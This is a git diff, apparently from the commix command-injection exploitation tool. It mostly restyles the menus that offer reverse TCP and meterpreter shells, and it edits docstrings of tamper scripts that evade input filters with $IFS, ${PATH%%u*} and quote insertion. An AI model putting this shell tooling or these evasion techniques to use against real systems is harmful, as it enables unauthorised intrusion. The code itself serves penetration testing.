@@ def netcat_version(separator): ] while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) + nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': @@ -282,22 +281,21 @@ def netcat_version(separator): def other_reverse_shells(separator): while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) + other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). +""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': @@ -489,11 +487,10 @@ def other_reverse_shells(separator): continue else: while True: - windows_reverse_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -\ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) + windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. +commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): @@ -586,12 +583,11 @@ def other_reverse_shells(separator): # Web delivery script elif other_shell == '12': while True: - web_delivery = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) + web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). +commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): @@ -671,11 +667,10 @@ def other_reverse_shells(separator): def reverse_tcp_options(separator): while True: - reverse_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. +commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index fae3025bb3..a374701281 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -19,7 +19,7 @@ """ About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backslashes" diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 2c7fd9813f..884a211bee 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backticks" diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index f405f546f8..df5e2e96d5 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -19,7 +19,7 @@ """ About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "dollaratsigns" diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 45470bb5ed..a044527cb2 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -19,7 +19,7 @@ """ About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "doublequotes" diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 5d0adcb190..912d91288c 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -20,7 +20,7 @@ """ About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "nested" diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 3d8bc259c6..585a0e795c 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -19,7 +19,7 @@ """ About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "singlequotes" diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 32b9e1fd8d..973f33f6cf 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -17,7 +17,7 @@ """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 5f89b91c19..f647e32942 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -19,7 +19,7 @@ """ About: Uses "timeout" function for time-based attacks. - * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index d3a2fa98cb..5b1b4d3e2d 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -19,7 +19,7 @@ """ About: Replaces "sleep" with "usleep" command in the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 680ae99265..5ded16eccc 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -19,7 +19,7 @@ About: Replaces space character ('%20') with the internal field separator ('$IFS'). The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "space2ifs" diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 84cb8c9f45..6c50770eb7 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -22,7 +22,7 @@ """ About: Adds uninitialized bash variables between the characters of each command of the generated payloads. -Notes: This tamper script works against unix-like target(s). +Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ diff --git a/src/utils/common.py b/src/utils/common.py index 99b49c8eef..7137f1ca01 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -39,44 +39,48 @@ def is_empty(): else: return value - value = None - if "\n" in message: - message += ("\n" if message.count("\n") > 1 else "") + try: + value = None + if "\n" in message: + message += ("\n" if message.count("\n") > 1 else "") - elif len(message) == 0: - return is_empty() + elif len(message) == 0: + return is_empty() - if settings.ANSWERS: - if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty(message, default=None, check_batch=True) - else: - for item in settings.ANSWERS.split(','): - question = item.split('=')[0].strip() - answer = item.split('=')[1] if len(item.split('=')) > 1 else None - if answer and question.lower() in message.lower(): - value = answer - print(settings.print_message(message + value)) - return value - elif answer is None and value: - return is_empty() - - if value: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used the given answer." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + value)) - return value - - elif value is None: - if check_batch and menu.options.batch: + if settings.ANSWERS: + if not any(_ in settings.ANSWERS for _ in ",="): + return is_empty(message, default=None, check_batch=True) + else: + for item in settings.ANSWERS.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + value = answer + print(settings.print_message(message + value)) + return value + elif answer is None and value: + return is_empty() + + if value: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Used the default behavior, running in batch mode." + debug_msg = "Used the given answer." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + default)) - return default - else: - return is_empty() - + print(settings.print_message(message + value)) + return value + + elif value is None: + if check_batch and menu.options.batch: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used the default behavior, running in batch mode." + print(settings.print_debug_msg(debug_msg)) + print(settings.print_message(message + default)) + return default + else: + return is_empty() + except KeyboardInterrupt: + print(settings.SINGLE_WHITESPACE) + raise + """ Extract regex result """ diff --git a/src/utils/menu.py b/src/utils/menu.py index 78fe3a3900..875632d9cd 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -584,7 +584,7 @@ def banner(): action="store_true", dest="offline", default=False, - help="Work in offline mode.") + help="Work in offline mode.\n") misc.add_option("--wizard", action="store_true", @@ -642,59 +642,53 @@ def _(self, *args): The "os_shell" available options. """ def os_shell_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "reverse_tcp" available options. """ def reverse_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") """ The "bind_tcp" available options. """ def bind_tcp_options(): - print(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. -Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -""") + print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") """ The available mobile user agents. """ def mobile_user_agents(): - print("""---[ """ + Style.BRIGHT + Fore.BLUE + """Available smartphones HTTP User-Agent headers""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") + print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") """ The tab compliter (shell options). diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index f91f9ec67e..e545b77d2d 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -278,8 +278,8 @@ def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: while True: - message = "A previously stored session has been held against that host. " - message += "Do you want to resume to the " + message = "A previously stored session has been held against that target. " + message += "Do you want to resume to " message += "(" + injection_type.split(" ")[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " @@ -318,6 +318,8 @@ def notification(url, technique, injection_type): pass except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) + except (KeyboardInterrupt, SystemExit): + raise """ Check for specific stored parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 65ca93ef3c..14389aeae3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -58,11 +58,13 @@ class HTTPMETHOD(object): CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL +SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ @@ -173,6 +175,11 @@ def print_sub_content(sub_content): result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL return result +# Print sub content message +def print_retrieved_data(cmd, retrieved): + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL + return result + # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL @@ -234,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -507,9 +514,10 @@ def sys_argv_errors(): HOSTNAME = "hostname" WIN_HOSTNAME = "echo %COMPUTERNAME%" -# Check if current user is root +# Check if current user has excessive privileges +# Unix-like: root IS_ROOT = "echo $(id -u)" -# Check if current user is admin +# Windows: admin IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator" # Operation System. From f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 Jun 2022 07:38:21 +0300 Subject: [PATCH 155/560] Additional fixes / updates regarding commit https://github.com/commixproject/commix/commit/40eea73a1aea866f06defe942e5a71222a765c2b --- .../techniques/time_based/tb_enumeration.py | 359 ++---------- .../techniques/time_based/tb_file_access.py | 232 ++------ .../blind/techniques/time_based/tb_handler.py | 6 - src/core/injections/controller/checks.py | 518 +++++++++++++++++- .../techniques/classic/cb_enumeration.py | 354 ++---------- .../techniques/classic/cb_file_access.py | 216 ++------ .../techniques/eval_based/eb_enumeration.py | 351 ++---------- .../techniques/eval_based/eb_file_access.py | 188 ++----- .../techniques/file_based/fb_enumeration.py | 335 ++--------- .../techniques/file_based/fb_file_access.py | 190 ++----- .../tempfile_based/tfb_enumeration.py | 362 ++---------- .../tempfile_based/tfb_file_access.py | 229 ++------ .../techniques/tempfile_based/tfb_handler.py | 6 - .../techniques/tempfile_based/tfb_injector.py | 4 +- src/core/modules/shellshock/shellshock.py | 380 ++----------- src/core/shells/bind_tcp.py | 1 - src/core/shells/reverse_tcp.py | 1 - src/utils/settings.py | 11 +- 18 files changed, 1037 insertions(+), 2706 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 7db7f2f3cf..db2344bd2f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -44,27 +44,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname 